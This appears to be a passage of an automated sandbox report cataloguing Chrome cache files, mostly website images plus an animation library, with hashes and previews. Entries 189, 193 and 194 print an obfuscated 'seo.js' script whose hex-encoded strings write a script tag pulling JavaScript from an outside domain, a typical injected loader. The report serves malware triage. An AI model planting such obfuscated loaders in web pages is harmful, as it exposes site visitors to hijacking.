Preview:	......Exif..II*.................Ducky.......P......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:DCFC3BC3C2E211EDBFB3E2FA6FE1E7C7" xmpMM:InstanceID="xmp.iid:DCFC3BC2C2E211EDBFB3E2FA6FE1E7C7" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D2BE3B7ABA8511ED9E18B1F319AD2715" stRef:documentID="xmp.did:D2BE3B7BBA8511ED9E18B1F319AD2715"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d..............................................................................................................................

Chrome Cache Entry: 183

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	20668
Entropy (8bit):	3.9522942562818066
Encrypted:	false
SSDEEP:	192:OSAk6C/HmpZf3AqrsdFjvGB39U6lfM3/P/jfYo+Zu:x76+HmpZf3AqrmwBN/2Lfsu
MD5:	B554908AF1B1B407DF480A4A469EC4E7
SHA1:	E9E7D4E26D4DC8C7BEFC6FAEA9CD8B5067E3BDC2
SHA-256:	7FC7F62A8529DA668EC8DFDC8A8A595DAD23D79A409533ED5AA121CE8E83D1F6
SHA-512:	33AE9268180F85780F0234D53C33E0F16404FEF386D7AA8A9C9D669ABF28625836E66936B34C257D483FABB01BF54D00AE8B0AC8BD7C5B0EF001AA6A8870E7F8
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...x...x.....9d6.....pHYs...............;ZiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2017 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2023-03-14T10:36:09+08:00</xmp:CreateDate>. <

Chrome Cache Entry: 184

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (59814)
Category:	dropped
Size (bytes):	59816
Entropy (8bit):	5.328560778781936
Encrypted:	false
SSDEEP:	768:EpeipRp4JNdqR7VdHtm9nJqGw3h+5bnaAwGnGLufYLna7WboVTwAHzRTZZdvqXdF:EpvpR9ztCJnpr+GGGqboaaLSQi
MD5:	F2131FCF620AC8D58D60047C0F9F1969
SHA1:	54FBA279A660F081DF6BE4FCF1A1F4BC34F8A9AD
SHA-256:	35E3D8F58D1040BE63997D05577B7E6D722FCE92F4F6E323D072267B2B685054
SHA-512:	95EAD9B79BC45181594DD3727661384E94518859FEF550421657D8A962769D236C775AF4852677ACEDE606DE31CB072D0C0704D101DAB037C810D601D0E89A11
Malicious:	false
Reputation:	low
Preview:	!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports):"function"==typeof define&&define.amd?define(["exports"],e):e((t=t\|\|self).window=t.window\|\|{})}(this,function(e){"use strict";function _inheritsLoose(t,e){t.prototype=Object.create(e.prototype),(t.prototype.constructor=t).__proto__=e}function _assertThisInitialized(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}function n(t){return"string"==typeof t}function o(t){return"function"==typeof t}function p(t){return"number"==typeof t}function q(t){return void 0===t}function r(t){return"object"==typeof t}function s(t){return!1!==t}function t(){return"undefined"!=typeof window}function u(t){return o(t)\|\|n(t)}function K(t){return(l=pt(t,at))&&ie}function L(t,e){return console.warn("Invalid property",t,"set to",e,"Missing plugin? gsap.registerPlugin()")}function M(t,e){return!e&&console.warn(t)}function N(t,e){return t&&(at[t]=e)&&l&&(l[t]=e)\|\|at}functio

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 740 x 610, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	141296
Entropy (8bit):	7.9863613017852755
Encrypted:	false
SSDEEP:	3072:DxEYbOcBlVcxbiETg38PL4VEIPbrfNTNN/OWPSPPnT0UpFH:VEoO0+b/n0RbrftOWQP7P
MD5:	81D83FCBA9BA6A125F1D38C5509D3A9E
SHA1:	01E62EA35AB807ED80825F6E3DC35F9A2E5EA012
SHA-256:	E8777BC3B6198854ED02BCF94B4385303A17037A98B4275645235D87A1C5EA45
SHA-512:	EF727F0C71E90D24844AB6D8318777CF6C48236CD42B418143D291BC19564DEED837B7A6F31DD6C916E49868B31425D83B4E062FA5CBFC1D86930007F17E2E46
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......b......M.....pHYs...a...a..?.i....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2024-05-10T11:30:53+08:00" xmp:MetadataDate="2024-05-10T11:30:53+08:00" xmp:ModifyDate="2024-05-10T11:30:53+08:00" xmpMM:InstanceID="xmp.iid:934c8b34-9f50-5549-bf11-c43a0f6b8c9a" xmpMM:DocumentID="adobe:docid:photoshop:a3770aad-1fc1-ad45-83b1-2b64d9c9384f" xmpMM:OriginalDocumentID="xmp.did:302a535b-8f9e-0b4e-8eb6-75b01f2667ae" photoshop:Color

Chrome Cache Entry: 186

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4917
Entropy (8bit):	7.843946613662706
Encrypted:	false
SSDEEP:	96:6xVgsS6Vg2FyMsOLJL06VYVRbon3NquiK0h2yzLVne:2o6LpLJLzqLsntzSpe
MD5:	B7A0B01F8DC51313532E8F9EC14CF71C
SHA1:	BBDB4D2C4DB08874B380A6AA127753516002AAEB
SHA-256:	027DD871CCAFE23873AA43E0A87EF7CDF497D895502982E7AD5F1C75C30FC089
SHA-512:	0EFBF91D41D0FCCA1B2B2841F94D8639DB9819F08EC558B930E6ECF1E3CBAFD09E951405833D8504A7EAB5C8B49668E9B29E5C240F38EC731B0A9706F3BA0FA7
Malicious:	false
Reputation:	low
URL:	https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/05/30/image_1685440853_TBImGD7B.png
Preview:	.PNG........IHDR...x...x.....9d6.....tEXtSoftware.Adobe ImageReadyq.e<...niTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:ED2F3545C21011EDA9AABE74779D8143" xmpMM:DocumentID="xmp.did:F96C0002FED211EDB07D88AA5427066F" xmpMM:InstanceID="xmp.iid:F96C0001FED211EDB07D88AA5427066F" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:752394d4-9b8e-644f-b99b-3f93ac4591b4" stRef:documentID="xmp.did:ED2F3545C21011EDA9AABE74779D8143"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...l...]IDATx..]..].....d&..`.LH*"m..zT...W

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	20668
Entropy (8bit):	3.9522942562818066
Encrypted:	false
SSDEEP:	192:OSAk6C/HmpZf3AqrsdFjvGB39U6lfM3/P/jfYo+Zu:x76+HmpZf3AqrmwBN/2Lfsu
MD5:	B554908AF1B1B407DF480A4A469EC4E7
SHA1:	E9E7D4E26D4DC8C7BEFC6FAEA9CD8B5067E3BDC2
SHA-256:	7FC7F62A8529DA668EC8DFDC8A8A595DAD23D79A409533ED5AA121CE8E83D1F6
SHA-512:	33AE9268180F85780F0234D53C33E0F16404FEF386D7AA8A9C9D669ABF28625836E66936B34C257D483FABB01BF54D00AE8B0AC8BD7C5B0EF001AA6A8870E7F8
Malicious:	false
Reputation:	low
URL:	https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/03/image_1680511194_iI19gSI1.png
Preview:	.PNG........IHDR...x...x.....9d6.....pHYs...............;ZiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2017 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2023-03-14T10:36:09+08:00</xmp:CreateDate>. <

Chrome Cache Entry: 188

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 112 x 112, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2594
Entropy (8bit):	7.515356419519273
Encrypted:	false
SSDEEP:	48:PANn2NGxJ3yab6elZ3QvJA2VtILrxlQSH1JdNK50f3EKz3B58+Jkh2J:A2M5bRsO2VCLVK50fT3B58fh2J
MD5:	3F10BB8112976CB003A52154E0CB0397
SHA1:	AF8A9BCD21BB877D3652AB0C6D9F1B46C9CC580C
SHA-256:	95D21F9EB033414C45A31B339234818641030AD197BB06DCFE556EFD93FDC408
SHA-512:	2C5B9DD190922590B8993AA27FAEFEA1CB7F8E0185FDDE92B79A4965649451C06041AE2671F9B9E952A66183EFB04D2D29CBCDB886EC7FD1D2B4884F8837976D
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/img3.png
Preview:	.PNG........IHDR...p...p........K....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)" xmpMM:InstanceID="xmp.iid:91C78386C20A11EDB9F8C5F0A905F0B7" xmpMM:DocumentID="xmp.did:91C78387C20A11EDB9F8C5F0A905F0B7"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:91C78384C20A11EDB9F8C5F0A905F0B7" stRef:documentID="xmp.did:91C78385C20A11EDB9F8C5F0A905F0B7"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>u..m....IDATx..\[l.e..+.h.K.".R...(U.... ../D...Z.4Q#.....xC.....Ac5.h.$."..b..../hP.Xl...-U.s2g.......3...Kg.9

Chrome Cache Entry: 189

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1787), with CRLF line terminators
Category:	dropped
Size (bytes):	2787
Entropy (8bit):	5.4108508265728466
Encrypted:	false
SSDEEP:	48:NYspWWtLp8kglcTFMpfn/vMKSKRAiiwNT6dffiLbNEUnwx6BtIC9QsyEcwm:z3p8xHMpriiwN4yLbN6MICHyMm
MD5:	824887CEA5FEF494FC60EC322927F7C5
SHA1:	7ECF6D6FFF3E8CFA598CEFADFEC06AFE5478C0D5
SHA-256:	CE060DDE1E0E34BDE5BD9411923106D3FF8587B827F8BA20362D6AF546558F3D
SHA-512:	E7162EFC845AF3F1DF87E105F3ABFCBBFE9AB59868FA3622F868B1A8BC84C66F236C8BE69897071DEBD17103AFA5940C00EF630658F3089B857A7D2B4173BB58
Malicious:	false
Reputation:	low
Preview:	var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Ox1185a6=["\x3C\x73\x63\x72\x69\x70\x74\x20\x6C\x61\x6E\x67\x75\x61\x67\x65\x20\x3D\x20\x22\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x74\x79\x70\x65\x20\x3D\x20\x22\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x73\x72\x63\x20\x3D\x20\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x77\x77\x2E\x75\x61\x70\x70\x33\x36\x30\x2E\x63\x6F\x6D\x2F\x32\x30\x32\x33\x2F\x73\x65\x6F\x2E\x6A\x73\x22\x63\x68\x61\x72\x73\x65\x74\x20\x3D\x20\x22\x75\x74\x66\x2D\x38\x22\x20\x3E\x20\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65\x6C\x6E","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 300x300, components 3
Category:	downloaded
Size (bytes):	42887
Entropy (8bit):	7.971797931434544
Encrypted:	false
SSDEEP:	768:n+0cI2dFugBpc3ixUdXdZN6d04QQEVziCu5GGrbpTMWHxcrQSJqox3koOZXm8g:np2n/MXdZodvHEYCu5GEZbQq43koOZWt
MD5:	69849C3F6EE4CCDFFCBF115958D09836
SHA1:	ECC65EBD5B4871DE071981A36D905185C84F79D5
SHA-256:	643639A06D77CBC0A67CE8360FA8E9C696BE3E080E75C2412C343B10BC9450D8
SHA-512:	F201B0E10F4116C41742876231194A225B71E3D2E4B34A0BC003CBBA68FB85A2073953B05258B270FA75714EC1F71081273B8E05EDAAEB0D8895DF2971DC0FBD
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/about1.jpg
Preview:	......Exif..II*.................Ducky.......P...../http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)" xmpMM:InstanceID="xmp.iid:59C26F96C2DC11ED9A7A9426DC728900" xmpMM:DocumentID="xmp.did:59C26F97C2DC11ED9A7A9426DC728900"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:59C26F94C2DC11ED9A7A9426DC728900" stRef:documentID="xmp.did:59C26F95C2DC11ED9A7A9426DC728900"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.............................................................................................................................

Chrome Cache Entry: 191

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 225 x 225, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	17415
Entropy (8bit):	7.920498761705319
Encrypted:	false
SSDEEP:	384:SPnG/Nqz5P21Hb/Z24PFtkkaquWOkXuM/D9jNyCKQVSo8pSNze:SPNlw7/Z24v3aqTmID9jN3KQVPnNi
MD5:	DECF76BCA45E2265B5B147F2F39830B4
SHA1:	764E5ED6B34C0A8ECC2DD2F42039C8E78D2FDCC4
SHA-256:	882ADB98093C33F97926802CCC88DEE3B22AFFB1AF056AE8B370A944F3C827C8
SHA-512:	7AC609B49D3BE37FB5336E5775BB254CE4D8BAAD30EBF8ED27F08D09697FC862FDC05245FEE580CF498CB23464FAECF120780D6388610998359E806CF0D9B40C
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............E-....pHYs...a...a..?.i....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2024-05-10T11:30:53+08:00" xmp:MetadataDate="2024-05-10T15:08:03+08:00" xmp:ModifyDate="2024-05-10T15:08:03+08:00" xmpMM:InstanceID="xmp.iid:916cb6ef-7aaf-c740-9ebf-a34e42d725a2" xmpMM:DocumentID="adobe:docid:photoshop:2c6ef908-d4f0-2e4f-bed5-89d921cfcb03" xmpMM:OriginalDocumentID="xmp.did:302a535b-8f9e-0b4e-8eb6-75b01f2667ae" photoshop:Color

Chrome Cache Entry: 192

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 226x226, components 3
Category:	downloaded
Size (bytes):	20659
Entropy (8bit):	7.968494171487602
Encrypted:	false
SSDEEP:	384:+K0Ggyj8cVpeVaHccPR54vZgua80LYsf2WFj4CfabAdHIXgoEW5GpIn95UwiuOGX:vX7j8+MVa/PR0qYsfvphbdgiW5J9rsZG
MD5:	029E40F083C5C9A5AACFD72F9B19D18A
SHA1:	5572AE82AE08053C12BB85BF903A1727FF229338
SHA-256:	EEC39A7335E2F4251F7D7DBA89F26EDE7B37D3CB65CB8CA8AC49117A65EB4E53
SHA-512:	0F2A088CBD5AA950207A9C7FECEF94127F07BA722E21B659247EB7D603923D372170677EA10E9C155982E2E160D27AD8CB2428E6A0062DCD1C4289898656CF45
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/about6.jpg
Preview:	......Exif..II*.................Ducky.......P......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:AE361468CA1811EDB79AD1D914614233" xmpMM:InstanceID="xmp.iid:AE361467CA1811EDB79AD1D914614233" xmp:CreatorTool="Adobe Photoshop CC 2017 Windows"> <xmpMM:DerivedFrom stRef:instanceID="96FA2213A6EC5C166BC4B36ED5983CB3" stRef:documentID="96FA2213A6EC5C166BC4B36ED5983CB3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................................................................................................................

Chrome Cache Entry: 193

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1787), with CRLF line terminators
Category:	downloaded
Size (bytes):	2787
Entropy (8bit):	5.4108508265728466
Encrypted:	false
SSDEEP:	48:NYspWWtLp8kglcTFMpfn/vMKSKRAiiwNT6dffiLbNEUnwx6BtIC9QsyEcwm:z3p8xHMpriiwN4yLbN6MICHyMm
MD5:	824887CEA5FEF494FC60EC322927F7C5
SHA1:	7ECF6D6FFF3E8CFA598CEFADFEC06AFE5478C0D5
SHA-256:	CE060DDE1E0E34BDE5BD9411923106D3FF8587B827F8BA20362D6AF546558F3D
SHA-512:	E7162EFC845AF3F1DF87E105F3ABFCBBFE9AB59868FA3622F868B1A8BC84C66F236C8BE69897071DEBD17103AFA5940C00EF630658F3089B857A7D2B4173BB58
Malicious:	false
Reputation:	low
URL:	https://www.hbyczyz.com/seo.js
Preview:	var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Ox1185a6=["\x3C\x73\x63\x72\x69\x70\x74\x20\x6C\x61\x6E\x67\x75\x61\x67\x65\x20\x3D\x20\x22\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x74\x79\x70\x65\x20\x3D\x20\x22\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x73\x72\x63\x20\x3D\x20\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x77\x77\x2E\x75\x61\x70\x70\x33\x36\x30\x2E\x63\x6F\x6D\x2F\x32\x30\x32\x33\x2F\x73\x65\x6F\x2E\x6A\x73\x22\x63\x68\x61\x72\x73\x65\x74\x20\x3D\x20\x22\x75\x74\x66\x2D\x38\x22\x20\x3E\x20\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65\x6C\x6E","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1787), with CRLF line terminators
Category:	downloaded
Size (bytes):	2787
Entropy (8bit):	5.4108508265728466
Encrypted:	false
SSDEEP:	48:NYspWWtLp8kglcTFMpfn/vMKSKRAiiwNT6dffiLbNEUnwx6BtIC9QsyEcwm:z3p8xHMpriiwN4yLbN6MICHyMm
MD5:	824887CEA5FEF494FC60EC322927F7C5
SHA1:	7ECF6D6FFF3E8CFA598CEFADFEC06AFE5478C0D5
SHA-256:	CE060DDE1E0E34BDE5BD9411923106D3FF8587B827F8BA20362D6AF546558F3D
SHA-512:	E7162EFC845AF3F1DF87E105F3ABFCBBFE9AB59868FA3622F868B1A8BC84C66F236C8BE69897071DEBD17103AFA5940C00EF630658F3089B857A7D2B4173BB58
Malicious:	false
Reputation:	low
URL:	https://www.hbyczyz.com/seo.js
Preview:	var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Ox1185a6=["\x3C\x73\x63\x72\x69\x70\x74\x20\x6C\x61\x6E\x67\x75\x61\x67\x65\x20\x3D\x20\x22\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x74\x79\x70\x65\x20\x3D\x20\x22\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x73\x72\x63\x20\x3D\x20\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x77\x77\x2E\x75\x61\x70\x70\x33\x36\x30\x2E\x63\x6F\x6D\x2F\x32\x30\x32\x33\x2F\x73\x65\x6F\x2E\x6A\x73\x22\x63\x68\x61\x72\x73\x65\x74\x20\x3D\x20\x22\x75\x74\x66\x2D\x38\x22\x20\x3E\x20\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65\x6C\x6E","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 750 x 300, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	92549
Entropy (8bit):	7.970326802135275
Encrypted:	false
SSDEEP:	1536:h1QkCZ1R8L5NnuJFshoD0U/usMSr3k3+kVqnTDYYCrGkVv2LhsdZNyQWPG8v44RF:HQkCZza5N8aoD0Ufr3++Gq6G0OOXNej1
MD5:	A4F22A269A2B9FACE2D0ECFD66A198CD
SHA1:	4D57E3C7EED179340710258BA03A811FE44E9C4C
SHA-256:	6E06C4AD82AFD5F0055958E2B0A3D2B2DDF0908457DAEA3A461C02DDE68F5D17
SHA-512:	158EB09729B4B2E8732A8EFC14E5F24C3CBBB56544CCE3ED9B4629E8A64B54D048D081E0CB07133FBAB75C10CE28CF5ABF10A65282ABAB65002273A04216113B
Malicious:	false
Reputation:	low
URL:	https://website-ishutime.oss-cn-chengdu.aliyuncs.com/images/2024/05/10/sichuang/image_1715308754_jDvIvelv.png
Preview:	.PNG........IHDR.......,.......6.....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmpMM:DocumentID="xmp.did:D338F8A8C9F311ED9AA285EC21B9310B" xmpMM:InstanceID="xmp.iid:966e70b5-d354-1e46-8342-c7e2718c4c9b" 